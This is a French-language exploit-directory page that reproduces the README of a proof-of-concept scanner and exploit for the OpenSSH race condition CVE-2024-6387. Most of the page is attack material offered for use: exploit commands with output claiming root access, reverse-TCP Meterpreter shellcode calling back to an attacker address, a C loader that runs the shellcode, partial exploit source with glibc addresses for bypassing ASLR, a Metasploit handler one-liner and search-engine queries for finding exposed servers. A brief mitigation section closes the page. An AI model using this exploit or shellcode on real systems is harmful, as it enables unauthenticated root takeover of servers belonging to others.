Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-6387 — PoC - Vulnérabilité d'exécution de code à distance non authentifiée dans le serveur OpenSSH (Scanner et Exploit) | Kitploit
Outils/GitHubGitHub/l0n3m4n/cve-2024-6387
ReconnaissanceAnalyse des VulnérabilitésExploitationShellcodeSécurité RéseauTests d'IntrusionRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubl0n3m4n/cve-2024-6387

CVE-2024-6387

PoC - Vulnérabilité d'exécution de code à distance non authentifiée dans le serveur OpenSSH (Scanner et Exploit)

1133921il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Voir le dépôt
Partager

openssh CVE-2024-6387 - PoC

📜 Description

Note : Ce script est un prototype rapide de PoC, attendez-vous à des erreurs et des bugs éventuels. Testé sur : Kali Linux, ParrotSec, Ubuntu 22.04

Vulnérabilité d'exécution de code à distance non authentifiée dans le serveur OpenSSH

Une condition de concurrence dans le gestionnaire de signal a été trouvée dans le serveur OpenSSH (sshd), où un client ne s'authentifie pas dans les secondes LoginGraceTime (120 par défaut, 600 dans les anciennes versions d'OpenSSH), puis le gestionnaire SIGALRM de sshd est appelé de manière asynchrone. Cependant, ce gestionnaire de signal appelle diverses fonctions qui ne sont pas async-signal-safe, par exemple syslog().

📁 Table des matières

  • 📖 Détails
  • ⚙️ Utilisation
  • 🔍 Découverte d'hôtes
  • 🛠️ Atténuation
  • 💁 Références
  • 📌 Auteur
  • 📢 Avertissement

✍🏻 Détails

Vous trouverez les détails techniques ici.

La faille, découverte par des chercheurs de Qualys en mai 2024, et identifiée sous l'identifiant CVE-2024-6387, est due à une condition de concurrence dans le gestionnaire de signal de sshd qui permet à des attaquants distants non authentifiés d'exécuter du code arbitraire en tant que root.

"Si un client ne s'authentifie pas dans les secondes LoginGraceTime (120 par défaut), alors le gestionnaire SIGALRM de sshd est appelé de manière asynchrone et appelle diverses fonctions qui ne sont pas async-signal-safe,"

"Un attaquant distant non authentifié peut tirer parti de cette faille pour exécuter du code arbitraire avec les privilèges root."

⚙️ Utilisation

Analyse du serveur OpenSSH

Prérequis : python3 dernière version

$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Auteur : l0n3m4n / Scanner : @xaitax / PoC : @7etsuo 
    
Exploitation des vulnérabilités...
Tentative d'exploitation avec la base glibc : 0xb7200000
Tentative 0 sur 20000
Version SSH reçue : SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
KEX_INIT reçu (1024 octets)
send_packet : Ressource temporairement indisponible
send_packet : Ressource temporairement indisponible
send_packet : Ressource temporairement indisponible
send_packet : Ressource temporairement indisponible
.....
Exploitation réussie..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

Exportation (csv,txt,json)

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

Cibles multiples

$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

Ajout d'un délai d'attente

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

Plages réseau

$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

Port personnalisé

$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

Processus d'escalade

Obtention d'un shell inversé

# Génération d'un shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] Aucune plateforme sélectionnée, choix de Msf::Module::Platform::Linux depuis la charge utile
[-] Aucune architecture sélectionnée, sélection de l'architecture : x64 depuis la charge utile
Aucun encodeur spécifié, sortie de la charge utile brute
Taille de la charge utile : 130 octets
Taille finale du fichier c : 574 octets

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

Charge utile personnalisée

#include <stdio.h>

// Un espace réservé pour votre charge utile personnalisée
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Exécute le shellcode
    printf("Exécution du shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

Charge utile réelle

#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Adresses de base glibc possibles (pour contournement ASLR)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Espace réservé du shellcode (remplacer par le shellcode réel)
unsigned char shellcode[] = "\x90\x90\x90\x90";

Compilation et lancement de la charge utile

# compilation de la charge utile
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

Exécution de la charge utile

# Une fois que vous recevez un message d'exploitation réussie, la msfconsole lance automatiquement une session Meterpreter.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

Capture de la charge utile

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 Découverte d'hôtes

  • Hunter : /product.name="OpenSSH"
  • FOFA : app="OpenSSH"
  • SHODAN : product:"OpenSSH"
  • CENSYS : (openssh) and labels=remote-access

🛠️ Atténuation

  • Gestion des correctifs : L'application rapide des correctifs disponibles pour OpenSSH est essentielle pour combler la faille de sécurité. Un correctif en temps opportun garantit que les exploits connus ne peuvent pas être utilisés contre vos systèmes, réduisant ainsi la fenêtre d'opportunité pour les attaquants.

  • Contrôle d'accès renforcé : Limiter l'accès SSH via des contrôles réseau ajoute une couche de défense supplémentaire. Cette approche minimise l'exposition aux attaquants potentiels en restreignant les connexions SSH aux seuls réseaux ou adresses IP autorisés. L'utilisation d'outils comme les règles de pare-feu ou les VPN pour un accès sécurisé peut appliquer efficacement ces restrictions.

Télécharger l’outil